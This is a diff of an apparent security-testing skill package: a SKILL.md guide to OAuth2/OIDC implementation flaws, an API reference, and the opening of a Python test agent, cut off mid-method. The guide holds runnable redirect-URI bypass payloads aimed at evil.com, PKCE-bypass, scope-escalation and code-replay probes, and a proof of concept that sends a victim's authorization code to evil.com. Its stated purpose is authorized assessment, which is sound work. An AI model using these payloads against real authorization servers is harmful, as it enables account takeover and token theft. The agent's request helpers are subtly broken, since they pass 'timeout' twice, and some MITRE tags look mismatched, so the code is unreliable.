worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,405 @@
|
||||
---
|
||||
name: testing-oauth2-implementation-flaws
|
||||
description: Tests OAuth 2.0 and OpenID Connect implementations for authorization code
|
||||
interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope
|
||||
escalation, and PKCE bypass, using Burp Suite Professional and the EsPReSSO extension
|
||||
to probe the authorization server, client, and token handling. Use when assessing OAuth2/OIDC
|
||||
flows or SSO systems for misconfigurations enabling account takeover.
|
||||
domain: cybersecurity
|
||||
subdomain: api-security
|
||||
tags:
|
||||
- api-security
|
||||
- oauth2
|
||||
- oidc
|
||||
- authentication
|
||||
- redirect-uri
|
||||
- token-security
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- PR.PS-01
|
||||
- ID.RA-01
|
||||
- PR.DS-10
|
||||
- DE.CM-01
|
||||
mitre_attack:
|
||||
- T1190
|
||||
- T1059.007
|
||||
- T1552.001
|
||||
- T1027
|
||||
- T1070
|
||||
---
|
||||
# Testing OAuth2 Implementation Flaws
|
||||
|
||||
## When to Use
|
||||
|
||||
- Assessing OAuth 2.0 authorization code flow for redirect URI validation weaknesses
|
||||
- Testing OAuth client applications for CSRF protection (state parameter usage) and PKCE enforcement
|
||||
- Evaluating token storage, transmission, and lifecycle management in OAuth implementations
|
||||
- Testing scope escalation where clients request more permissions than authorized
|
||||
- Assessing OpenID Connect implementations for ID token validation and nonce usage
|
||||
|
||||
**Do not use** without written authorization. OAuth testing may result in token theft or unauthorized access.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Written authorization specifying the OAuth provider and client applications in scope
|
||||
- Test OAuth client registered with the authorization server
|
||||
- Burp Suite Professional for intercepting OAuth redirects and token flows
|
||||
- Python 3.10+ with `requests` and `oauthlib` libraries
|
||||
- Browser developer tools for observing OAuth redirect chains
|
||||
- Knowledge of the OAuth 2.0 grant types in use (authorization code, implicit, client credentials)
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: OAuth Flow Reconnaissance
|
||||
|
||||
```python
|
||||
import requests
|
||||
import urllib.parse
|
||||
import re
|
||||
import hashlib
|
||||
import base64
|
||||
import secrets
|
||||
|
||||
AUTH_SERVER = "https://auth.example.com"
|
||||
CLIENT_ID = "test-client-id"
|
||||
REDIRECT_URI = "https://app.example.com/callback"
|
||||
SCOPE = "openid profile email"
|
||||
|
||||
# Discover OAuth endpoints
|
||||
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
|
||||
if well_known.status_code == 200:
|
||||
config = well_known.json()
|
||||
print("OAuth/OIDC Configuration:")
|
||||
print(f" Authorization: {config.get('authorization_endpoint')}")
|
||||
print(f" Token: {config.get('token_endpoint')}")
|
||||
print(f" UserInfo: {config.get('userinfo_endpoint')}")
|
||||
print(f" JWKS: {config.get('jwks_uri')}")
|
||||
print(f" Supported grants: {config.get('grant_types_supported')}")
|
||||
print(f" Supported scopes: {config.get('scopes_supported')}")
|
||||
print(f" PKCE methods: {config.get('code_challenge_methods_supported')}")
|
||||
auth_endpoint = config['authorization_endpoint']
|
||||
token_endpoint = config['token_endpoint']
|
||||
else:
|
||||
# Try common paths
|
||||
for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]:
|
||||
resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False)
|
||||
if resp.status_code in (302, 400):
|
||||
print(f"Authorization endpoint found: {AUTH_SERVER}{path}")
|
||||
auth_endpoint = f"{AUTH_SERVER}{path}"
|
||||
break
|
||||
```
|
||||
|
||||
### Step 2: Redirect URI Validation Testing
|
||||
|
||||
```python
|
||||
# Test redirect_uri validation strictness
|
||||
REDIRECT_BYPASS_PAYLOADS = [
|
||||
# Open redirect variations
|
||||
REDIRECT_URI, # Legitimate
|
||||
"https://evil.com", # Different domain
|
||||
"https://app.example.com.evil.com/callback", # Subdomain of attacker
|
||||
"https://app.example.com@evil.com/callback", # URL authority confusion
|
||||
f"{REDIRECT_URI}/../../../evil.com", # Path traversal
|
||||
f"{REDIRECT_URI}?next=https://evil.com", # Parameter injection
|
||||
f"{REDIRECT_URI}#https://evil.com", # Fragment injection
|
||||
f"{REDIRECT_URI}%23evil.com", # Encoded fragment
|
||||
"https://app.example.com/callback/../../evil", # Relative path
|
||||
"https://APP.EXAMPLE.COM/callback", # Case variation
|
||||
"https://app.example.com/Callback", # Path case variation
|
||||
"https://app.example.com/callback/", # Trailing slash
|
||||
"https://app.example.com/callback?", # Trailing question mark
|
||||
"http://app.example.com/callback", # HTTP downgrade
|
||||
"https://app.example.com:443/callback", # Explicit port
|
||||
"https://app.example.com:8443/callback", # Different port
|
||||
f"{REDIRECT_URI}/.evil.com", # Dot segment
|
||||
"https://app.example.com/callbackevil", # Path prefix match
|
||||
"javascript://app.example.com/callback%0aalert(1)", # JavaScript protocol
|
||||
]
|
||||
|
||||
print("=== Redirect URI Validation Testing ===\n")
|
||||
for redirect in REDIRECT_BYPASS_PAYLOADS:
|
||||
params = {
|
||||
"response_type": "code",
|
||||
"client_id": CLIENT_ID,
|
||||
"redirect_uri": redirect,
|
||||
"scope": SCOPE,
|
||||
"state": secrets.token_urlsafe(32),
|
||||
}
|
||||
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
|
||||
|
||||
if resp.status_code == 302:
|
||||
location = resp.headers.get("Location", "")
|
||||
if "code=" in location or redirect in location:
|
||||
status = "ACCEPTED"
|
||||
if redirect != REDIRECT_URI:
|
||||
print(f" [VULNERABLE] {redirect[:70]} -> Redirect accepted")
|
||||
else:
|
||||
status = "REDIRECTED"
|
||||
elif resp.status_code == 400:
|
||||
status = "REJECTED"
|
||||
else:
|
||||
status = f"HTTP {resp.status_code}"
|
||||
|
||||
if redirect == REDIRECT_URI:
|
||||
print(f" [BASELINE] {redirect[:70]} -> {status}")
|
||||
```
|
||||
|
||||
### Step 3: State Parameter (CSRF) Testing
|
||||
|
||||
```python
|
||||
# Test 1: Missing state parameter
|
||||
params_no_state = {
|
||||
"response_type": "code",
|
||||
"client_id": CLIENT_ID,
|
||||
"redirect_uri": REDIRECT_URI,
|
||||
"scope": SCOPE,
|
||||
}
|
||||
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
|
||||
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
|
||||
print("[CSRF] Authorization code issued without state parameter")
|
||||
|
||||
# Test 2: State parameter reuse
|
||||
state_value = "fixed_state_value_123"
|
||||
# Use same state for multiple authorization requests
|
||||
for i in range(3):
|
||||
params = {**params_no_state, "state": state_value}
|
||||
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
|
||||
if resp.status_code == 302:
|
||||
location = resp.headers.get("Location", "")
|
||||
returned_state = urllib.parse.parse_qs(
|
||||
urllib.parse.urlparse(location).query).get("state", [None])[0]
|
||||
if returned_state == state_value:
|
||||
print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)")
|
||||
|
||||
# Test 3: Token exchange without state validation (client-side check)
|
||||
# Intercept the callback and try exchanging the code without state
|
||||
print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")
|
||||
```
|
||||
|
||||
### Step 4: PKCE Bypass Testing
|
||||
|
||||
```python
|
||||
# Test if PKCE (Proof Key for Code Exchange) is enforced
|
||||
|
||||
# Generate PKCE values
|
||||
code_verifier = secrets.token_urlsafe(64)[:128]
|
||||
code_challenge = base64.urlsafe_b64encode(
|
||||
hashlib.sha256(code_verifier.encode()).digest()
|
||||
).decode().rstrip('=')
|
||||
|
||||
# Test 1: Authorization request without PKCE
|
||||
params_no_pkce = {
|
||||
"response_type": "code",
|
||||
"client_id": CLIENT_ID,
|
||||
"redirect_uri": REDIRECT_URI,
|
||||
"scope": SCOPE,
|
||||
"state": secrets.token_urlsafe(32),
|
||||
}
|
||||
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
|
||||
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
|
||||
print("[PKCE] Authorization code issued without PKCE challenge")
|
||||
|
||||
# Test 2: Token exchange without code_verifier
|
||||
auth_code = "captured_auth_code" # From intercept
|
||||
token_resp = requests.post(token_endpoint, data={
|
||||
"grant_type": "authorization_code",
|
||||
"code": auth_code,
|
||||
"redirect_uri": REDIRECT_URI,
|
||||
"client_id": CLIENT_ID,
|
||||
# No code_verifier
|
||||
})
|
||||
if token_resp.status_code == 200:
|
||||
print("[PKCE] Token issued without code_verifier - PKCE not enforced")
|
||||
|
||||
# Test 3: Token exchange with wrong code_verifier
|
||||
token_resp = requests.post(token_endpoint, data={
|
||||
"grant_type": "authorization_code",
|
||||
"code": auth_code,
|
||||
"redirect_uri": REDIRECT_URI,
|
||||
"client_id": CLIENT_ID,
|
||||
"code_verifier": "wrong_verifier_value_that_does_not_match",
|
||||
})
|
||||
if token_resp.status_code == 200:
|
||||
print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken")
|
||||
|
||||
# Test 4: Downgrade from S256 to plain
|
||||
params_plain_pkce = {
|
||||
**params_no_pkce,
|
||||
"code_challenge": code_verifier, # Plain = verifier itself
|
||||
"code_challenge_method": "plain",
|
||||
}
|
||||
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False)
|
||||
if resp.status_code == 302:
|
||||
print("[PKCE] Plain challenge method accepted - vulnerable to interception")
|
||||
```
|
||||
|
||||
### Step 5: Scope Escalation and Token Testing
|
||||
|
||||
```python
|
||||
# Test 1: Request additional scopes beyond what's registered
|
||||
elevated_scopes = [
|
||||
"openid profile email admin",
|
||||
"openid profile email write:users",
|
||||
"openid profile email delete:*",
|
||||
"openid profile email admin:full",
|
||||
"*",
|
||||
]
|
||||
|
||||
for scope in elevated_scopes:
|
||||
params = {
|
||||
"response_type": "code",
|
||||
"client_id": CLIENT_ID,
|
||||
"redirect_uri": REDIRECT_URI,
|
||||
"scope": scope,
|
||||
"state": secrets.token_urlsafe(32),
|
||||
}
|
||||
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
|
||||
if resp.status_code == 302:
|
||||
location = resp.headers.get("Location", "")
|
||||
if "code=" in location:
|
||||
print(f"[SCOPE] Elevated scope accepted: {scope}")
|
||||
|
||||
# Test 2: Token reuse across clients
|
||||
# Use a token from client A on client B's API
|
||||
token_a = "access_token_from_client_a"
|
||||
resp = requests.get("https://other-service.example.com/api/resource",
|
||||
headers={"Authorization": f"Bearer {token_a}"})
|
||||
if resp.status_code == 200:
|
||||
print("[TOKEN] Token from client A accepted by different service (audience not validated)")
|
||||
|
||||
# Test 3: Refresh token theft and reuse
|
||||
refresh_token = "captured_refresh_token"
|
||||
# Try using refresh token with different client_id
|
||||
token_resp = requests.post(token_endpoint, data={
|
||||
"grant_type": "refresh_token",
|
||||
"refresh_token": refresh_token,
|
||||
"client_id": "different-client-id",
|
||||
})
|
||||
if token_resp.status_code == 200:
|
||||
print("[TOKEN] Refresh token accepted for different client - not bound to client")
|
||||
```
|
||||
|
||||
### Step 6: Implicit Flow and Token Leakage Testing
|
||||
|
||||
```python
|
||||
# Test if implicit flow is enabled (should be disabled per OAuth 2.1)
|
||||
implicit_params = {
|
||||
"response_type": "token",
|
||||
"client_id": CLIENT_ID,
|
||||
"redirect_uri": REDIRECT_URI,
|
||||
"scope": SCOPE,
|
||||
"state": secrets.token_urlsafe(32),
|
||||
}
|
||||
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
|
||||
if resp.status_code == 302:
|
||||
location = resp.headers.get("Location", "")
|
||||
if "access_token=" in location:
|
||||
print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)")
|
||||
|
||||
# Test token leakage via Referer header
|
||||
# Check if tokens appear in URLs that could leak via Referer
|
||||
print("\nToken Leakage Checks:")
|
||||
print(" - Check if access tokens appear in URL query parameters")
|
||||
print(" - Check if tokens are logged in server access logs")
|
||||
print(" - Check if callback URL with code is cached by the browser")
|
||||
print(" - Check if the authorization code is single-use (replay test)")
|
||||
|
||||
# Authorization code replay test
|
||||
auth_code_to_replay = "captured_auth_code"
|
||||
for attempt in range(3):
|
||||
token_resp = requests.post(token_endpoint, data={
|
||||
"grant_type": "authorization_code",
|
||||
"code": auth_code_to_replay,
|
||||
"redirect_uri": REDIRECT_URI,
|
||||
"client_id": CLIENT_ID,
|
||||
"client_secret": "client_secret_value",
|
||||
})
|
||||
print(f" Code replay attempt {attempt+1}: {token_resp.status_code}")
|
||||
if attempt > 0 and token_resp.status_code == 200:
|
||||
print(" [VULNERABLE] Authorization code is not single-use")
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Authorization Code Flow** | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint |
|
||||
| **PKCE** | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception |
|
||||
| **Redirect URI Validation** | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect |
|
||||
| **State Parameter** | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow |
|
||||
| **Scope Escalation** | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access |
|
||||
| **Implicit Flow** | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Burp Suite Professional**: Intercept and manipulate OAuth redirects, authorization codes, and token exchanges
|
||||
- **EsPReSSO (Burp Extension)**: Automated testing of OAuth and OpenID Connect implementations for known vulnerabilities
|
||||
- **oauth2-security-tester**: Dedicated tool for testing OAuth 2.0 flows against common attack patterns
|
||||
- **OWASP ZAP**: Passive scanner that detects OAuth misconfigurations in intercepted traffic
|
||||
- **jwt.io**: Online JWT decoder for analyzing OAuth access tokens and ID tokens
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Social Login OAuth Implementation Assessment
|
||||
|
||||
**Context**: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.
|
||||
|
||||
**Approach**:
|
||||
1. Analyze the OAuth configuration at `/.well-known/openid-configuration` for both providers
|
||||
2. Test redirect URI validation: discover that the application registers `https://app.example.com/callback` but the server accepts `https://app.example.com/callback/..%2fevil`
|
||||
3. Test state parameter: authorization request includes state but the callback handler does not validate it (CSRF possible)
|
||||
4. Test PKCE: not implemented for the authorization code flow, making code interception possible on mobile
|
||||
5. Test implicit flow: still enabled despite not being used by the application
|
||||
6. Test scope: application requests `openid profile email` but the authorization server also grants `read:repos` without explicit consent
|
||||
7. Test authorization code replay: code can be exchanged twice, indicating lack of single-use enforcement
|
||||
8. Test token audience: access token from Google login accepted by GitHub API endpoint (audience not validated)
|
||||
|
||||
**Pitfalls**:
|
||||
- Only testing the OAuth flow in the browser without intercepting and manipulating redirect parameters
|
||||
- Not testing both the authorization request and the token exchange independently
|
||||
- Missing open redirect vulnerabilities in the application that can be chained with OAuth redirect_uri
|
||||
- Not testing the state parameter validation on the client side (server may include it but client may not check it)
|
||||
- Assuming PKCE is enforced because the authorization server supports it (client must also send it)
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft
|
||||
|
||||
**ID**: API-OAUTH-001
|
||||
**Severity**: Critical (CVSS 9.3)
|
||||
**Affected Component**: OAuth 2.0 Authorization Code Flow
|
||||
**Authorization Server**: auth.example.com
|
||||
|
||||
**Description**:
|
||||
The authorization server's redirect_uri validation uses prefix matching
|
||||
instead of exact string matching. An attacker can manipulate the redirect_uri
|
||||
to redirect the authorization code to an attacker-controlled endpoint,
|
||||
enabling account takeover. Additionally, PKCE is not enforced and the
|
||||
state parameter is not validated by the client application.
|
||||
|
||||
**Proof of Concept**:
|
||||
1. Craft authorization URL with manipulated redirect_uri:
|
||||
https://auth.example.com/authorize?response_type=code&client_id=app
|
||||
&redirect_uri=https://app.example.com/callback/../../../evil.com
|
||||
&scope=openid+profile+email&state=abc123
|
||||
2. User authenticates and approves consent
|
||||
3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
|
||||
4. Attacker exchanges code at token endpoint (no PKCE required)
|
||||
5. Attacker receives access token and ID token for victim's account
|
||||
|
||||
**Impact**:
|
||||
Complete account takeover for any user who clicks a crafted OAuth login link.
|
||||
The attacker gains full access to the user's profile, email, and any
|
||||
resources the OAuth scope grants access to.
|
||||
|
||||
**Remediation**:
|
||||
1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
|
||||
2. Enforce PKCE (S256 method) for all authorization code flow requests
|
||||
3. Validate the state parameter in the callback handler before exchanging the code
|
||||
4. Disable the implicit flow on the authorization server
|
||||
5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
|
||||
6. Validate the audience (aud) claim in tokens before accepting them
|
||||
```
|
||||
@@ -0,0 +1,50 @@
|
||||
# API Reference: Testing OAuth2 Implementation Flaws
|
||||
|
||||
## OAuth 2.0 Grant Types
|
||||
|
||||
| Grant Type | Use Case | Risk Level |
|
||||
|------------|----------|------------|
|
||||
| Authorization Code | Server-side apps | Low (with PKCE) |
|
||||
| Authorization Code + PKCE | Mobile/SPA apps | Low |
|
||||
| Implicit | Legacy SPAs | High (deprecated) |
|
||||
| Client Credentials | Machine-to-machine | Medium |
|
||||
| Resource Owner Password | Legacy migration | High |
|
||||
|
||||
## OAuth Attack Surface
|
||||
|
||||
| Attack | Severity | Vector |
|
||||
|--------|----------|--------|
|
||||
| Redirect URI bypass | Critical | Subdomain, path traversal, encoding |
|
||||
| Missing state parameter | High | CSRF-based account linking |
|
||||
| PKCE bypass | High | Authorization code interception |
|
||||
| Scope escalation | High | Request unauthorized permissions |
|
||||
| Code reuse | High | Replay authorization code |
|
||||
| Token in URL fragment | Medium | Referer header leakage |
|
||||
| Implicit flow | Medium | Token exposure in browser history |
|
||||
|
||||
## Redirect URI Bypass Techniques
|
||||
|
||||
| Technique | Example |
|
||||
|-----------|---------|
|
||||
| Subdomain append | `redirect.com.evil.com` |
|
||||
| Path traversal | `redirect.com/../evil.com` |
|
||||
| At-sign confusion | `redirect.com@evil.com` |
|
||||
| Fragment bypass | `redirect.com%23@evil.com` |
|
||||
| Query parameter | `redirect.com?next=evil.com` |
|
||||
| HTTP downgrade | `http://` instead of `https://` |
|
||||
|
||||
## Python Libraries
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| `requests` | >=2.28 | HTTP OAuth flow testing |
|
||||
| `secrets` | stdlib | State/nonce generation |
|
||||
| `urllib.parse` | stdlib | URL parameter encoding |
|
||||
| `hashlib` | stdlib | PKCE code challenge |
|
||||
|
||||
## References
|
||||
|
||||
- OAuth 2.0 Security Best Practices: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics
|
||||
- PortSwigger OAuth: https://portswigger.net/web-security/oauth
|
||||
- RFC 6749: https://www.rfc-editor.org/rfc/rfc6749
|
||||
- RFC 7636 (PKCE): https://www.rfc-editor.org/rfc/rfc7636
|
||||
@@ -0,0 +1,197 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing OAuth 2.0 implementation flaws.
|
||||
|
||||
Tests OAuth authorization code flow, redirect URI validation,
|
||||
state/PKCE enforcement, token leakage, scope escalation, and
|
||||
OIDC ID token validation weaknesses.
|
||||
"""
|
||||
|
||||
import json
|
||||
import sys
|
||||
import secrets
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
from urllib.parse import urlencode
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
requests = None
|
||||
|
||||
|
||||
class OAuth2TestAgent:
|
||||
"""Tests OAuth 2.0 / OIDC implementations for security flaws."""
|
||||
|
||||
def __init__(self, auth_url, token_url, client_id, redirect_uri,
|
||||
output_dir="./oauth2_test"):
|
||||
self.auth_url = auth_url
|
||||
self.token_url = token_url
|
||||
self.client_id = client_id
|
||||
self.redirect_uri = redirect_uri
|
||||
self.output_dir = Path(output_dir)
|
||||
self.output_dir.mkdir(parents=True, exist_ok=True)
|
||||
self.findings = []
|
||||
|
||||
def _get(self, url, **kwargs):
|
||||
if not requests:
|
||||
return None
|
||||
kwargs.setdefault("timeout", 10)
|
||||
kwargs.setdefault("allow_redirects", False)
|
||||
try:
|
||||
return requests.get(url, **kwargs, timeout=30)
|
||||
except requests.RequestException:
|
||||
return None
|
||||
|
||||
def _post(self, url, **kwargs):
|
||||
if not requests:
|
||||
return None
|
||||
kwargs.setdefault("timeout", 10)
|
||||
try:
|
||||
return requests.post(url, **kwargs, timeout=30)
|
||||
except requests.RequestException:
|
||||
return None
|
||||
|
||||
def test_redirect_uri_validation(self):
|
||||
"""Test redirect_uri for open redirect and bypass techniques."""
|
||||
bypasses = [
|
||||
self.redirect_uri + ".evil.com",
|
||||
self.redirect_uri + "@evil.com",
|
||||
self.redirect_uri + "/../evil.com",
|
||||
"https://evil.com",
|
||||
self.redirect_uri.replace("https://", "http://"),
|
||||
self.redirect_uri + "%23@evil.com",
|
||||
self.redirect_uri + "?next=https://evil.com",
|
||||
]
|
||||
results = []
|
||||
for uri in bypasses:
|
||||
params = {
|
||||
"response_type": "code", "client_id": self.client_id,
|
||||
"redirect_uri": uri, "scope": "openid",
|
||||
"state": secrets.token_urlsafe(16),
|
||||
}
|
||||
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
|
||||
if resp and resp.status_code in (301, 302, 303, 307):
|
||||
location = resp.headers.get("Location", "")
|
||||
if "code=" in location or uri in location:
|
||||
results.append({"redirect_uri": uri, "accepted": True, "location": location[:200]})
|
||||
self.findings.append({"severity": "critical", "type": "Redirect URI Bypass",
|
||||
"detail": f"Server accepted redirect_uri: {uri}"})
|
||||
return results
|
||||
|
||||
def test_state_parameter(self):
|
||||
"""Test if state parameter is enforced (CSRF protection)."""
|
||||
params = {
|
||||
"response_type": "code", "client_id": self.client_id,
|
||||
"redirect_uri": self.redirect_uri, "scope": "openid",
|
||||
}
|
||||
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
|
||||
if resp and resp.status_code in (301, 302, 303, 307):
|
||||
location = resp.headers.get("Location", "")
|
||||
if "state=" not in location:
|
||||
self.findings.append({"severity": "high", "type": "Missing State Parameter",
|
||||
"detail": "OAuth flow proceeds without state (CSRF risk)"})
|
||||
return {"state_enforced": False}
|
||||
return {"state_enforced": True}
|
||||
|
||||
def test_pkce_enforcement(self):
|
||||
"""Test if PKCE is required for public clients."""
|
||||
params = {
|
||||
"response_type": "code", "client_id": self.client_id,
|
||||
"redirect_uri": self.redirect_uri, "scope": "openid",
|
||||
"state": secrets.token_urlsafe(16),
|
||||
}
|
||||
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
|
||||
if resp and resp.status_code in (301, 302, 303, 307):
|
||||
self.findings.append({"severity": "high", "type": "PKCE Not Required",
|
||||
"detail": "Authorization proceeds without code_challenge"})
|
||||
return {"pkce_required": False}
|
||||
return {"pkce_required": True}
|
||||
|
||||
def test_scope_escalation(self, extra_scopes=None):
|
||||
"""Test requesting more scopes than authorized."""
|
||||
scopes = extra_scopes or ["admin", "write", "delete", "users:admin", "openid profile email"]
|
||||
results = []
|
||||
for scope in scopes:
|
||||
params = {
|
||||
"response_type": "code", "client_id": self.client_id,
|
||||
"redirect_uri": self.redirect_uri, "scope": scope,
|
||||
"state": secrets.token_urlsafe(16),
|
||||
}
|
||||
resp = self._get(f"{self.auth_url}?{urlencode(params)}")
|
||||
if resp and resp.status_code in (301, 302, 303, 307):
|
||||
results.append({"scope": scope, "accepted": True})
|
||||
self.findings.append({"severity": "high", "type": "Scope Escalation",
|
||||
"detail": f"Server granted scope: {scope}"})
|
||||
return results
|
||||
|
||||
def test_code_reuse(self, auth_code):
|
||||
"""Test if authorization code can be reused multiple times."""
|
||||
data = {
|
||||
